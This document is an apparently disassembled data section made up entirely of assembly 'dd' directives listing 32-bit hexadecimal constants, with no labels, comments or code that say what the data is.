		dd 0E8F13E57h, 0B0C16F52h, 1E1D1C9h, 462AC981h,	0D2E94E65h
		dd 0F4272354h, 2DB0560Dh, 94BB6760h, 0F42D5411h, 0A3175FD5h
		dd 71EAD209h, 3A78E99Dh, 250EF016h, 7B9BE097h, 3FDFE681h
		dd 0CCD06A2Ch, 0AA242CEEh, 7B5CAF4Fh, 8F2E0C0Ch, 0F7EE0F1h
		dd 0CD896849h, 3FD594BDh, 6A72C3B4h, 0A18B0A5Ah, 0BF4AB458h
		dd 0E9D9E969h, 0E71D2551h, 8C65D02h, 0C92D08D3h, 0AF0FF743h
		dd 85AF3265h, 0F04E04E8h, 4935011Eh, 21CD0957h,	0E9CCCD5Dh
		dd 176C1FFh, 3F4C500Ch,	680A4AA7h, 0AE353569h, 5CFBA766h
		dd 41A572A4h, 75F3EACBh, 652809CFh, 2D006263h, 0DC1B4FCAh
		dd 0A5BD025Ah, 0DE1C0302h, 0E65D299Eh, 379D25D6h, 14F92CC8h
		dd 1024DC5h, 403A8D21h,	0DD07FA04h, 74A2DA87h, 3D19C6BEh
		dd 0D3795658h, 0C5BC097h, 593D5520h, 1054372Bh,	0C2544C5h
		dd 0C4148F82h, 26E17788h, 419DDF4Eh, 0CC22E680h, 0F4E005C6h
		dd 0E35A5A70h, 14D2D6B2h, 0C3255067h, 60B43799h, 0F64B34B8h
		dd 52ACDD91h, 72F92901h, 0C04F2DE7h, 176B68A2h,	0E665FE7Fh
		dd 0CD163FABh, 5F2C76F1h, 52C1F912h, 75BFF0B2h,	1117389h
		dd 386498D5h, 0F7A7A8A7h, 0A53D129Dh, 1391AD56h, 85A342FEh
		dd 3968B3C6h, 6A3BCB02h, 5D4310D4h, 7880A409h, 37140E7Bh
		dd 7E510500h, 0BE97854h, 0F335C34Dh, 808C1770h,	6489EB5Dh
		dd 3C7CA326h, 0DA7BF802h, 84CB5C65h, 0C051193Ch, 5BCFE2C1h
		dd 0EA01CFCh, 334F4FACh, 0BE371100h, 35E99D20h,	0AC66FCCCh
		dd 4E78D1F7h, 542C67FDh, 0D4F95B70h, 0F60405E0h, 0BA0055C0h
		dd 40591ABCh, 9D69C3F4h, 66D8714h, 757CC682h, 0C5013BA4h
		dd 5213EBC8h, 4FDC8AEAh, 1534F9B2h, 8C30FE85h, 0BFF0B753h
		dd 8C36AD2h, 4A6B35E9h,	4FF4F61Ch, 1CDEED44h, 69540112h
		dd 7E356D65h, 0AE84DB90h, 0C1E03F9Fh, 0C60E7D4Ch, 1E4146E1h
		dd 3F70ADE9h, 502C8FF3h, 3BB581BCh, 2059E888h, 0F9835356h
		dd 0F26BB470h, 50512657h, 80E83EF8h, 53F6D828h,	2574FDE3h
		dd 59647A5Fh, 0B2CFBF10h, 167874EFh, 163DAB5Bh,	0A05FFF66h
		dd 6629E995h, 100285EFh, 0FE261673h, 85039A9h, 0DFD09F58h
		dd 53F3515Fh, 8485A893h, 0B117EA46h, 40062FE9h,	9514EC39h
		dd 44EA9B54h, 0AF711902h, 0ABEBC36Dh, 2936D173h, 0BD7438BEh
		dd 30086579h, 895725C5h, 0C180C97h, 0C13EF1E6h,	80186C64h
		dd 0F685722h, 5837DB1Fh, 0F71515Fh, 0FE29F845h,	30CA310Dh
		dd 1412AB89h, 50BE7AC9h, 0CB4A08AAh, 4C5B106Bh,	5D66CA40h
		dd 0FC4AD3FAh, 0EF00779h, 216F2192h, 9BA8C96Dh,	9C2F3760h
		dd 0ADD1838Ah, 99DADB7Dh, 6658D2A7h, 79FE1EDh, 79898F5Ah
		dd 0A4989292h, 93DECBF5h, 89296089h, 0CA62F541h, 0F809B573h
		dd 0E2B5AD0Ch, 6726136Ah, 0AFE5C495h, 0F24F50B7h, 0A0D94AB8h
		dd 13B2F73Ah, 8FF486CCh, 0DD8701C7h, 8956DBBFh,	0EBF17AFEh
		dd 12135DF6h, 0F5FD9A5Eh, 70BD1FF6h, 0DC189D6Eh, 5C81FEEEh
		dd 98BEB32Eh, 0D394E9A7h, 79D9AAC4h, 42A70DBFh,	0F4801301h
		dd 20C3CC6Dh, 0D0E32824h, 0BFD1DF3Ah, 26A70F2Dh, 5C639DC0h
		dd 0B9492601h, 0FA7FFBA6h, 3611043Ah, 0E10804BEh, 0FE50BE98h
		dd 0A679425h, 2055575Eh, 338B9FEEh, 5D5089DFh, 5F5ABB14h
		dd 0BA8457ADh, 0B35B220h, 0F7E865AAh, 2D1B6880h, 14577D2h
		dd 0ECCA0805h, 1F74505Eh, 8D024A78h, 0D6B00865h, 2A68C540h
		dd 0FA4E5DC3h, 0D0474A77h, 505206BCh, 0D585A27h, 0E686EDFh
		dd 7875B2A2h, 2FED973Bh, 661C7520h, 68C7F1F7h, 0FB7C7AF8h
		dd 0B22C2DE9h, 5425EB65h, 63057AD3h, 59994E9Ch,	50D218CFh
		dd 560036ABh, 0B066850h, 40F83C48h, 149D3501h, 0C6890DBCh
		dd 22105E4h, 0E9336545h, 0CAEC19FCh, 0B5C39E0Fh, 3FF7A5B6h
		dd 36F179D0h, 1A5F3D76h, 4149D11Eh, 484CE6E1h, 20EA3027h
		dd 0FCB7F307h, 2478F1E9h, 2CE2022Ah, 8B412592h,	7203E5D3h
		dd 95B3DBBh, 44617868h,	30564CFBh, 2FFBAC10h, 65B3D155h
		dd 0C48BAA5Dh, 7056EC96h, 0C799930h, 485D39A6h,	71053028h
		dd 0AC50B57Dh, 0E94E1CD1h, 25E9D815h, 9591D065h, 0A9B5FD5Ah
		dd 90A98F54h, 0C35B6615h, 9F575074h, 4BB98056h,	1EDA7212h
		dd 54ABFC3h, 375C2978h
		dd 0B4C8BA32h, 28C2179Bh, 0A132AEE7h, 0B78F0308h, 2B0AD776h
		dd 0AE32432Ah, 0F6EB6427h, 6E688074h, 0C6B36C63h, 621511E0h
		dd 0DBC31015h, 22585E19h, 0FC980698h, 90164A13h, 0E75DD5BAh
		dd 2EE0345Eh, 2D68F0F7h, 0D0566277h, 0D939D162h, 4A52808Bh
		dd 2EBE011Ah, 0E09FA9E8h, 276DF6D7h, 8DD2184Dh,	6F580881h
		dd 40E5B606h, 0DFFB9D76h, 0A65D5127h, 0D0261272h, 0CC03A4ACh
		dd 0B6D3809Dh, 2525CD5Bh, 7707D8E9h, 0D47E572Dh, 0B784EE46h
		dd 0BE040716h, 67FE8D02h, 0E10DA4D8h, 0C0844076h, 5F4BAAC1h
		dd 0DD4F88FCh, 0B9D13FF3h, 0CD2EA8B0h, 13B3BEEEh, 31BEC5A4h
		dd 2AE64D17h, 0EE93AFB2h, 624F79DEh, 7570D4F0h,	2E7C113h
		dd 0F5A0AB06h, 4EA49856h, 0A5AEF3E6h, 9094ABCh,	99921BE7h
		dd 991E0809h, 167C3CB5h, 2255BEE9h, 4C550C47h, 0BFCBB13Eh
		dd 8A16C125h, 70C42B4Ch, 0E307437Ch, 34544C64h,	0E033F363h
		dd 60F72FA7h, 0D87310DBh, 31258B26h, 4B6460D9h,	1E8D2553h
		dd 2112E1DEh, 0F4D648A2h, 2122CE75h, 58284401h,	36376817h
		dd 5F1711CCh, 97C734B8h, 0D190FBFCh, 0EBE65BDDh, 0C74C06B0h
		dd 2498A5BEh, 25699FE9h, 5DED3A5Dh, 53F6AC02h, 0C3FF0980h
		dd 551DDAD7h, 505A11EEh, 9FE96B30h, 46359E4Dh, 9B95E668h
		dd 4DECA24h, 0E7C1FEACh, 0B00828D9h, 64A3EE4Eh,	785D9415h
		dd 0C9A9F14Fh, 0EB5420D9h, 5AC78080h, 7498B199h, 74181C7Ch
		dd 0F70C2FA3h, 483FF406h, 0A20E524Eh, 2981E548h, 394FE9F1h
		dd 12C7039Fh, 0DF366667h, 0C8C133Eh, 57B2D68h, 1CE57CD6h
		dd 9DBBA840h, 24F9041h,	0E55D3F2Dh, 0B1C1290Eh,	3A4C312Ch
		dd 0A82E3C29h, 0FE0CE645h, 5D2F3520h, 0A2BD13A0h, 5055F074h
		dd 781F5CB8h, 0C5890E04h, 98E0AB58h, 9AFE38E9h,	8845E5Bh
		dd 5900C244h, 0FE05EFC0h, 0B45000C7h, 58E7309Bh, 5B2CF828h
		dd 130BBA2Ch, 83A61A3Bh, 85641FE6h, 0BB86FCBDh,	21279340h
		dd 0AF1FF1D9h, 0F4956342h, 0C7545EADh, 0A8402406h, 0E58042D5h
		dd 49656006h, 0A7EB0721h, 0B40B1E07h, 0AED994FFh, 5F9B5F1h
		dd 2858183Fh, 0B90149D6h, 0C6BD5538h, 2F31BF54h, 0C7405DFDh
		dd 1693476h, 0B4F6812Eh, 6E124A45h, 0E83B44F5h,	4FFCC3ECh
		dd 0C660BF9Ch, 20AE593h, 0E9F331DFh, 0EFFCD05Fh, 61652BB8h
		dd 9D472227h, 7E71CA8Eh, 0B2006B7Eh, 55D468F9h,	0E6F93BE1h
		dd 93A6B992h, 288B01BBh, 0A111C95Fh, 494B1423h,	2F7ED01h
		dd 0E9EF892Dh, 0EC96677Eh, 55010444h, 0B27FE9DDh, 1CD990DFh
		dd 36D25607h, 68552D49h, 10834Fh, 0E7815A0Eh, 0B7828CEh
		dd 7E702D98h, 470A0824h, 5D1BED2Eh, 0DFB8C9AFh,	0C5E7EF9Dh
		dd 0EA012988h, 986E408Dh, 0E22AE9FFh, 3CF06D2Dh, 7634445Ah
		dd 2C845EEh, 0E65DAAABh, 1C2908CBh, 3FEC4365h, 7524B4Bh
		dd 5FD88EFEh, 0F1CD4D69h, 4E6B23Eh, 1EECE953h, 31E816h
		dd 0A967F7Bh, 1763B951h, 8628804Ah, 22D006B2h, 547510Bh
		dd 45C1D17h, 8214E706h,	345AB9C7h, 0A9250509h, 1DADD03Eh
		dd 133BA62Dh, 53480972h, 39A31180h, 80BD74DFh, 342D48ACh
		dd 8DD0164h, 3B60DC25h,	0C518302Bh, 858A47B1h, 42B0C855h
		dd 48964FA9h, 0BD003738h, 1B7918EEh, 0BF540FE9h, 4B4FDBAEh
		dd 6D3B45F6h, 0BF58E150h, 0B461CF81h, 0CA0BD31Ah, 828F5F17h
		dd 56D87A74h, 9D0052A9h, 0CC28FFB1h, 7FC5898h, 8004D073h
		dd 0E68890F4h, 70B61B88h, 2478E12Ah, 4576D6DEh,	1DD78786h
		dd 103B1A3h, 0B43BA4F7h, 4AE90976h, 0CED50108h,	0EED435Ah
		dd 360128E9h, 8794AAE8h, 5A98F539h, 0E19BEA5Dh,	0C78884C5h
		dd 586E83BFh, 382FE895h, 7CF12776h, 355F2409h, 0F51D0406h
		dd 97BD0040h, 0FF7C916Dh, 0F398E5D5h, 0E0F292EAh, 3DAA6417h
		dd 66681980h, 2065925Ch, 8190B562h, 54E50350h, 229F5224h
		dd 44DA908h, 0AD4A9A68h, 525587DDh, 0E44F1EC0h,	10E0A85Ch
		dd 1FA3054Ah, 0D67BE951h, 1E4B21Bh, 2D1EC875h, 7C646B90h
		dd 5DCF762h, 0FA2A8052h, 5A7C4941h, 63ABF14Bh, 0ADE4CA69h
		dd 81A49E61h, 0CAF7C732h, 90245AAh, 307C5B55h, 0D078E271h
		dd 4E87A34Fh, 46C6B981h, 0CDE1392Eh, 0ED3E19E3h, 1BE9C44Dh
		dd 0B37AEBB1h, 0F30593B6h, 0B3ACEBF5h, 2523F84Eh, 7F30C2B5h
		dd 96278797h, 1A432D5Bh, 807277F4h, 284EC06Dh, 1014B06h
		dd 9D9C2CDh, 58893E9Ah,	0CC840804h, 5F281718h, 3E0A0879h
		dd 820FA29h, 0A49440F9h, 0F6800125h, 0A87116A2h, 0C542FE70h
		dd 7C4A7964h, 0D6E90590h, 92FCF311h, 58D7F902h,	107A768Ch
		dd 2A744ACAh, 1424D709h, 0B1769FBEh, 82F456EBh,	0FF435E68h
		dd 6243D1DCh, 0C7351C8Dh, 775C0FCDh, 0B8139A64h, 0CE0D9EDBh
		dd 0E602112Ah, 40EEF721h, 19366813h, 0EBC449BCh, 0CBDBB861h
		dd 7B0D815h, 0DEC4A335h, 0C2C7D7F6h, 23570FCBh,	0B40A239Bh
		dd 4C66CFFEh, 4D06D3F0h, 502C1D0Ah, 13F5CE59h, 0F835B767h
		dd 0DC7927C6h, 932CBBDEh, 0D6BEBE61h, 0BE449B7h, 0D1ED073h
		dd 0EA681620h, 4B7DE234h, 0A548CEB6h, 0E479FC4Eh, 10842684h
		dd 2B48CF8h, 1B7DEA17h,	0C5006274h, 0F99E27Eh, 43CD629h
		dd 0B14E4C6h, 9D80F509h, 0DC6A1CEDh, 43ED3950h,	78695012h
		dd 40EF8C10h, 0E5955D08h, 2D348BE9h, 0F12F2866h, 5BAC22E4h
		dd 0F8D1C004h, 1866E82Ch, 103BB753h, 0F75E90E9h, 0E95EBAA7h
		dd 7F079A17h, 0E987F795h, 7E1B01E6h, 316850A2h,	27E95040h
		dd 9F791FAEh, 1B30CA8Ch, 6F234136h, 0DD221C87h,	0B49925Bh
		dd 916758E6h, 95E9700Eh, 1F66775Fh, 14C464F0h, 0A4DCF85Ah
		dd 0F23BD581h, 5050BC2Dh, 940BBFFFh, 4F3D1477h,	7FFBB14Bh
		dd 6F1ACC9Eh, 7D82EFA8h, 5D09102Fh, 76F5A582h, 336785B0h
		dd 57A4A091h, 0F5371900h, 5AE94E06h, 4BA41D1Eh,	0C3DEDE0Eh
		dd 551CAF62h, 0A82C916Dh, 844E4410h, 1EB5BA40h,	0B1B7ABCFh
		dd 0C9023F6h, 6DD3301h,	152850EBh, 1FC7EACAh, 7A07E7C0h
		dd 0BBFC19B6h, 5E6C113h, 0E05A7201h, 0B03F286Dh, 0FAE951F0h
		dd 5859EBE0h, 255DF6B0h, 7CF2D2FDh, 0D924AE97h,	42448BFBh
		dd 188F4C69h, 3DDF2DE0h, 0A65395FCh, 2830A0ADh,	90503279h
		dd 0EAF72DB7h, 5F7977E4h, 5D8A5B30h, 3B0BB2CFh,	0F7027297h
		dd 7BBF39FAh, 0AB89B58Bh, 0CEE7A2DFh, 0BB1B68AAh, 2DD6A628h
		dd 52BE5455h, 0AB72E935h, 5A1E9BFEh, 0CE6B17F2h, 2F7E2B01h
		dd 0BC5AD122h, 40CB04C8h, 0E7C81DB7h, 40064ADCh, 0AAEE81B4h
		dd 2D5F0549h, 680AECE6h, 8899547Ah, 0FF04A216h,	0DB852C77h
		dd 513404EBh, 0E87F82B5h, 0D2AE69C1h, 0BF955F90h, 0ABFB5F82h
		dd 5A92FCC9h, 79ADFFDEh, 5E5462B1h, 58A2795Fh, 0C8B522EFh
		dd 0E01BF2EBh, 0E1235A80h, 0CAC02270h, 5D0F0868h, 0C14B57E9h
		dd 1FE08153h, 117131F4h, 680B490Ah, 87D91A86h, 0E4397549h
		dd 5FBC24EBh, 4365FE97h, 3D3B9B80h, 0B6B7AAFEh,	3D3EB904h
		dd 0ACB037AEh, 0CD2B92Fh, 4DA257CFh, 7688740h, 71B609FDh
		dd 21704B58h, 4BF92049h, 0C9083A83h, 0D06AFD9Ch, 0F61FC31Ch
		dd 4889EA3Dh, 0DC1106Ch, 0BB05664Ch, 0EB69B105h, 13ABE6D0h
		dd 907E5BA8h, 8C7455B1h, 4A83DADFh, 6738382h, 467D24E6h
		dd 68090C26h, 0F42FBC02h, 0D008A0BCh, 5925140Ch, 82B494D7h
		dd 5AC56108h, 0E6EFE444h, 52EC4BD2h, 0A1F2E9C5h, 84537350h
		dd 61E34420h, 0A3A52F16h, 0C1D906C9h, 0F4F8EDBAh, 17B6584Ah
		dd 4C73AE4Ch, 1C05A8F5h
		dd 0C029F242h, 0CB781DD3h, 888064DDh, 0E9608F70h, 0D8E40BBh
		dd 89783709h, 865F8445h, 71E28100h, 7D72C102h, 449007ECh
		dd 45EA1A7Ah, 5D0B4AB8h, 0F00F8E47h, 160C698Fh,	79EB89F7h
		dd 9CCE62F3h, 61F32C02h, 68008AE3h, 3F912981h, 2A33F969h
		dd 2F527970h, 4CE51994h, 180FF27h, 5B66DC30h, 0D94E09B6h
		dd 4007ACE2h, 57EF366Ah, 0DADBF72Fh, 1A563183h,	7B5B1E87h
		dd 5D1BFF3h, 3DDAE908h,	4E7DC2Fh, 81F56735h, 77C32940h
		dd 0B1E90B25h, 6129DCDAh, 573302EBh, 43724FEh, 0E7EF5258h
		dd 2B6BC47Bh, 0C31C75ACh, 60EBCE61h, 5B10B71Dh,	0FE0070DCh
		dd 0E9D986C9h, 8982483Eh, 8A53BE81h, 5B7F2025h,	2ACC7D16h
		dd 4130FDA8h, 0DB391914h, 527267Fh, 0CCD0D6AAh,	0C72788AAh
		dd 0FB82FD52h, 0B08559CEh, 7F11E8F3h, 8DE9D50Dh, 213FE8F0h
		dd 0E487CBBFh, 32D30111h, 400B151Eh, 0F50886E0h, 1F4D3D98h
		dd 0ADE90584h, 939BACBh, 80D7B92Fh, 0C040D7EFh,	1656583Eh
		dd 27465026h, 6E944241h, 29EB8C13h, 4262A735h, 0CB43F585h
		dd 1F422204h, 0FEAC6908h, 50885910h, 51865F1h, 1F0C40B8h
		dd 5EE22771h, 8830ADAh,	6B140C41h, 457520DCh, 73E32436h
		dd 0E10F86Ah, 4D3C3351h, 0EAE05C35h, 6809A4CAh,	0BCCC783Ch
		dd 7075E916h, 0E59A1DD1h, 79555E02h, 6688DB5h, 6625C3EEh
		dd 0D1D21867h, 6B862F78h, 21F44AE8h, 1777D1Bh, 9244E211h
		dd 0DDB0F70Ch, 5580EE8Ah, 238D0ABDh, 1AA04061h,	827D65BAh
		dd 5D5E62B4h, 88DD6C9Ah, 3180950h, 43AFB3Eh, 0D5F75363h
		dd 8C088045h, 0BD707Ah,	0FB1A1DD0h, 0D8EBA14Ch,	9C7FCB66h
		dd 0B68AB0D0h, 294BB4BDh, 97338DB8h, 6000521Ah,	26FA0A89h
		dd 25D93CBAh, 6289E3AAh, 70C2ABF8h, 576004F8h, 99588180h
		dd 0FAEAE4F0h, 8025254Ah, 0CC4188FAh, 0AB20D841h, 0E75517A0h
		dd 1C12152Dh, 0A137A94Eh, 0DC3FEA8Ah, 310C2D54h, 0BB0CD579h
		dd 0BA30409Ch, 66451C12h, 8F23000h, 142F7049h, 0FAAFF4E9h
		dd 1DC3385h, 4E440244h,	8AB43A5Ah, 0BB6A2FAh, 7B74060Bh
		dd 0ADC70F9Fh, 3100F4B2h, 95355FF8h, 330F321Dh,	7900D65Dh
		dd 424F255Eh, 57C02BAh,	0A6D2F56h, 0F596E9F6h, 0DE71EB27h
		dd 0F17A4791h, 13A26CAEh, 875E08E8h, 0B29BD4C9h, 6C6FF22h
		dd 8BA22A55h, 0E85107C8h, 0B805E737h, 0FE681EC6h, 6ED06C5h
		dd 0E3950680h, 0E9C7D8F6h, 5FB6A8A1h, 25950905h, 0C8DF35F5h
		dd 9A946876h, 0E4D681CCh, 9259F26Bh, 0B5015EC8h, 81F27FB2h
		dd 0B0F67E20h, 0B5E500C7h, 686BB27Ah, 99976039h, 1AED721Dh
		dd 0AC49852Ah, 0EC08858Fh, 68A370AAh, 97CF0B9Eh, 598C13A1h
		dd 0DF975D20h, 9613C87h, 658845DFh, 1049E650h, 0B92E6DCCh
		dd 3DBD3950h, 6138B41Ah, 913B61DEh, 3A070126h, 0B5F670D7h
		dd 0EA00D53Bh, 7715F721h, 17051B22h, 8212717Eh,	0A5D7F3A3h
		dd 60F841F2h, 3E02A5Eh,	6C2D4EEBh, 50C0123h, 297E3E5Bh
		dd 830A0FBh, 4E140CD0h,	0B0572A8Ch, 3221964Fh, 6877A5C2h
		dd 1D77F5D4h, 0BED01D48h, 0B75BC005h, 0FEF21D12h, 0F76F2A0Fh
		dd 0B49EB8D2h, 0ED00CE13h, 2AE77388h, 47F30935h, 0A05F2F8Fh
		dd 0FE28CB13h, 0FC50BFB0h, 2E81815Fh, 0E9E57BDCh, 0EE0870A0h
		dd 0B2BB710h, 0CEEE7F50h, 6246D782h, 615AD490h,	80B45464h
		dd 736E260Ah, 0CA5745F9h, 0CCA19304h, 5C32CB3Fh, 645E89FFh
		dd 0EEC29754h, 11884FD8h, 0A9902958h, 7682BE5Ah, 56AF6A59h
		dd 68AEEC7Fh, 18137E0Bh, 9FA68270h, 88E8F26Dh, 9F1C6FE1h
		dd 0AFB1D984h, 0A80D284Bh, 4B0396DCh, 0D97E8F3Bh, 6800A328h
		dd 3BE12208h, 0BCE57FBCh, 29BE5A71h, 29FC8007h,	893E2CD6h
		dd 3DE927F8h, 0CBDB87C3h, 0AD83E4B9h, 957D3E1h,	9E7DDF8Ah
		dd 0E3FE4C41h, 5820FC32h, 0FD58E25Dh, 0A6B014C6h, 0C52DD369h
		dd 0D71828D0h, 0E736041Dh, 0C7D9B8FDh, 0E808D2C3h, 0F13D644Eh
		dd 8B8D2E2Dh, 8960B12Eh, 584B5B16h, 0D6EA04Fh, 4C3AEEEDh
		dd 8919CB31h, 54B974DAh, 556AC3B7h, 0A940C8CAh,	0DE745CC1h
		dd 0CACE9A60h, 0B625E852h, 8C214FAh, 4967E750h,	0A09C2721h
		dd 82111709h, 21160B75h, 0FF50E909h, 0F601B83Bh, 0F3A6C708h
		dd 61172713h, 6C7A8468h, 276EC491h, 4AF9CBBAh, 165137F4h
		dd 0B4D9BCE9h, 51980521h, 8976EB62h, 82AF6CFh, 22CC57Eh
		dd 93120301h, 0EE940143h, 1C6108C6h, 2EB42756h,	555191D2h
		dd 56924595h, 5EC962FFh, 62995975h, 0C6F45AE1h,	0F60EEEA4h
		dd 0ADD94FD1h, 5740F56Ah, 5E6E39A9h, 0F8B9F13Fh, 0DDC669E5h
		dd 0F60702EEh, 523758DBh, 8580128Fh, 3B685704h,	2F7F0B13h
		dd 0B78D7DD1h, 2A132166h, 8F60EA30h, 0B5A05ACBh, 87E6B486h
		dd 4C7FF607h, 0F2C417EAh, 0F2D24DECh, 0C0CCC566h, 4C0931B2h
		dd 0A9D84B5Fh, 27C00D59h, 2159855Bh, 48CE5EC3h,	0B116D0EFh
		dd 3F9CB256h, 0BB4E965Ch, 5A233BBEh, 92CB2DACh,	0D00EAC5Ah
		dd 2C21A62Dh, 0EBE64Eh,	812CF33Eh, 655D99E6h, 5E514358h
		dd 2159A504h, 0CA037DA8h, 581847DAh, 1710CE04h,	0A0F1076Ch
		dd 0EF8506BDh, 0B845EEEh, 0E242CEh, 70FACFEh, 13BEBE28h
		dd 546D593h, 950AD3CAh,	72D40E9Ah, 0DEE7C192h, 5DC3B410h
		dd 2D533DF9h, 5F4A0091h, 2C65840Dh, 2D3C5510h, 2790CCD0h
		dd 0B4DBC801h, 2E64E90Fh, 0D9FE90A7h, 1C20C559h, 0C8FA4972h
		dd 74BBCE02h, 7C407936h, 952D5EDFh, 2546546Bh, 8EB7780h
		dd 2341D2E9h, 0E210006Eh, 1BE196Eh, 26A12180h, 10A47412h
		dd 0C304137Bh, 0DD903AFCh, 0C1C52C5Bh, 20085555h, 4274A643h
		dd 114A327Eh, 2C55A71Dh, 0F801009Eh, 620F505h, 0C76BF907h
		dd 395DDBF4h, 4C78D9AFh, 0CF39FC4Ah, 8C609182h,	3325A8BAh
		dd 4EA02D4Bh, 0E4BD0455h, 82E09773h, 9F891280h,	8ABE075Ch
		dd 0A75EF17Ch, 61E7825Ah, 774D57D7h, 627574ADh,	93D8AEE9h
		dd 0C976D1B5h, 0F6962F6h, 0A5209C82h, 0CC76ADB7h, 0AF2FE941h
		dd 683C282Fh, 5921C325h, 0A7EE68C3h, 0EF8B2623h, 4CB9CD00h
		dd 31B2CBBCh, 55593FCDh, 0C7D2089Bh, 7EF63CB1h,	0C9E53F91h
		dd 5D325DBEh, 47D1CA28h, 0D60AD7E9h, 74C802BFh,	0F9F6721Ch
		dd 9CA0F388h, 342304CDh, 3B6AC67Ch, 0EF6F66B9h,	46696D7h
		dd 0E013209Ah, 0D0505AF4h, 0D75DF8E2h, 51CE2719h, 185DAC02h
		dd 1AF77539h, 25514E12h, 5DD8D509h, 0A3306594h,	99BF0A95h
		dd 788E3D27h, 0B90A7B13h, 4BB43CCDh, 6781E274h,	1981258Ah
		dd 9E1ED0EDh, 84C5D83Ah, 0DA4142Dh, 8061CB2h, 5E14811Ch
		dd 99ADF83Bh, 452A59DCh, 0E9E3A1D7h, 2641D4BFh,	599717B3h
		dd 0D02A6599h, 0C5E9C285h, 0CF955560h, 7B567C9Ch, 0CD0B4D6Ch
		dd 79E8B728h, 9BF02FE7h, 9A8993F9h, 0C5A3DAE1h,	0FC12466Eh
		dd 8B13A11Ah, 0C536EE05h, 0F6DFF20Dh, 0E78995FBh, 6818DB70h
		dd 9B3B7359h, 0DCEA89CBh, 0CBBA1319h, 945DE82Dh, 9B50BD05h
		dd 0FE18AE01h, 0D090E91Fh, 9E388FBBh, 20337B7Bh, 619F627Ch
		dd 0C3342219h, 18681352h, 2BB1CC6Eh, 0F141DC60h, 900378FEh
		dd 9B35E01Ah, 0E6090854h, 38CB486Ch, 0BCDB456Fh, 3D2C3815h
		dd 0D5E9887Dh, 0A85C18BEh, 7F2728BCh, 8161FC1Bh, 0F3C7B5C2h
		dd 75FB20B7h, 1F8B0A17h, 80447D4h, 329084E9h, 1EC1BF57h
		dd 2FD1DDB7h, 0EB315AC4h, 59C891C2h, 0BBC0AD32h, 51637C47h
		dd 0C9916826h, 0A5107EACh, 4F6DBD50h, 4CB1A214h, 19EA1B09h
		dd 9A058574h, 9AEE2E1Ah
		dd 93F55C1Ch, 0FAD646E6h, 0F009AE72h, 1BD0BFC4h, 0FE13FA0Bh
		dd 25F091Eh, 7E41DAE7h,	0AB7D65EBh, 68AF2F12h, 214BE940h
		dd 8400EB13h, 28EA2D07h, 240E7D4Fh, 40F364E8h, 9B0235Ah
		dd 0CB0CCB98h, 18D867E5h, 0C2442E48h, 0E9F90252h, 665D8FB0h
		dd 812C5437h, 4A0312BBh, 2EC7FC78h, 8552FFF5h, 0CDE85C17h
		dd 96D174C6h, 775BB4FAh, 5BA2CC68h, 3899CAC3h, 81E24B56h
		dd 7DA96800h, 53595C48h, 7C6CBB04h, 78804464h, 2F310BACh
		dd 5888291Eh, 8B5B1F08h, 465FFEEFh, 0B90BB56Eh,	0F79292F5h
		dd 0C50C1300h, 0EE19875Dh, 0DE09D5F7h, 1D294720h, 8763D179h
		dd 67483BF6h, 86D6E637h, 7F7E730Fh, 0CDF3C74Ch,	57822882h
		dd 817033E9h, 438BC3D5h, 0C827269h, 36112FDh, 0B5591400h
		dd 90297C78h, 25350B93h, 0C6057F6Ch, 1C30C802h,	14054B19h
		dd 9E200816h, 3B58136Eh, 0D4520927h, 974D8A91h,	34395C73h
		dd 2767D34h, 6879C04Ah,	69F4490Dh, 2B56449h, 0E9F7295Fh
		dd 20767FFEh, 0A4258CC4h, 11C49923h, 2CEB5BD9h,	924BAFDEh
		dd 212B7DC9h, 2887AB2h,	0F689F559h, 3B4A1D00h, 0F59022F3h
		dd 0D045FA01h, 0E73DE970h, 54890872h, 0D3958796h, 2449CBD1h
		dd 0B85F2AA7h, 0A54FCE17h, 76C889C3h, 0E8F4A50Fh, 1079303Fh
		dd 253F18B9h, 0A2F85B9Fh, 14EB810Eh, 0E91B2707h, 6ABD3514h
		dd 0D2A1905h, 0D701C122h, 0D65CA7F4h, 93CC3CF1h, 0EE109C38h
		dd 0AAE2037Bh, 783F584Eh, 9F4412ECh, 0D6FC0A4Dh, 7A0D0A28h
		dd 5B5A27F4h, 78620882h, 0A15E5DD4h, 0CA3A5DC0h, 0FD0935D6h
		dd 987981EEh, 0B4DA2FA9h, 0EF1A9D42h, 0B6D034CDh, 0FCB1CF4Bh
		dd 0E9AEB042h, 0BC2A580Dh, 0DA1E59Fh, 5B59E63Fh, 977397F8h
		dd 0F6899C61h, 4BD1515Dh, 0D609CF59h, 0D2047C42h, 6027C16Eh
		dd 8219797Ah, 1E7830AAh, 0E986DF5Eh, 27898947h,	374858C3h
		dd 349F5233h, 0D1049755h, 0F32B4F33h, 0F09588EBh, 0C5C32F9Fh
		dd 1BAC646Fh, 0B62E0A81h, 7ACE7B75h, 0E20AF206h, 3CC50C64h
		dd 1AAC9544h, 0A2F03116h, 14A40068h, 68590B6Dh,	0CA65592Dh
		dd 1F202884h, 0D11C24Ah, 7FC98C42h, 0D980EC4Ch,	309514E3h
		dd 0B96768D2h, 0B7DB0843h, 0E5C7880Eh, 89EF9151h, 97C22B0Fh
		dd 32AE5F81h, 0F65906BFh, 144B0EDBh, 119A78C0h,	0ABC8001h
		dd 0A43A7934h, 0E581F540h, 7B9910E7h, 0E1BDE41Ah, 0E2B7CF2Ch
		dd 587C9432h, 0BFE91656h, 6018D14Fh, 7A14271Eh,	9836CD27h
		dd 0C0674EA0h, 0AC7DC74Fh, 0CEB5DFDEh, 0FF0505F2h, 0C47C1119h
		dd 41CE84C0h, 0FCE9D008h, 0B7402A69h, 5EA42FDCh, 0D4FE5C21h
		dd 0CC5DE9E0h, 4571989Fh, 3640822Fh, 0C08038A8h, 80040EE2h
		dd 0D0096DEAh, 52F0B680h, 0C2F699B2h, 20E91D17h, 0B7EACA90h
		dd 54133B7Bh, 0C462F200h, 0D101DEFDh, 921060C4h, 49A26802h
		dd 780987ECh, 0F5664D0Dh, 3A11FFE8h, 0F87D282Fh, 5417A85h
		dd 0DC5895C9h, 0B90F05Eh, 31B4B709h, 40FD09F1h,	79CBBD1Ah
		dd 0A13AFD3Eh, 79B200D3h, 65903205h, 85638E0Bh,	91C85D33h
		dd 0D85831ADh, 5351B012h, 0D08E2FE9h, 6CB7034Ch, 2866F6D2h
		dd 18B75DF9h, 0BC8E76FDh, 261885CFh, 400C2504h,	3F1E044Fh
		dd 0BF47EFD1h, 6BE9D902h, 770E4AC4h, 113DC79h, 211D02FCh
		dd 0C272AC08h, 0BEEC1513h, 0A505DE2Ah, 0D59202Ah, 80BDCB0h
